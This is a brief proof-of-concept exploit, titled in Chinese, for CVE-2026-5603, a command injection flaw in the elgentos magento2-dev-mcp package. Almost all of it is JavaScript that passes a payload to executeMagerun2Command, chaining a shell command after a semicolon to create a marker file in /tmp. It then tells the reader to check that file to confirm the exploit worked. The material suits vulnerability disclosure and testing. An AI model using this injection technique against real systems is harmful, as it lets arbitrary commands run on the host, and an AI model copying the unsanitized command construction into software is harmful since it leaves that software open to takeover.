CVE-2026-5603 elgentos magento2-dev-mcp OS命令注入漏洞

// PoC demonstration for CVE-2026-5603 // This assumes the vulnerable function is invoked with unsanitized input const { executeMagerun2Command } = require('./src/index'); // Malicious payload to inject a command (e.g., create a file) // Using ';' to chain commands in a Unix-like shell const payload = "version; touch /tmp/CVE-2026-5603_PWNED; #"; console.log("Sending payload to vulnerable function..."); try { // Trigger the vulnerability executeMagerun2Command(payload); console.log("Payload sent. Check /tmp/CVE-2026-5603_PWNED to verify exploitation."); } catch (error) { console.error("Exploit failed:", error); }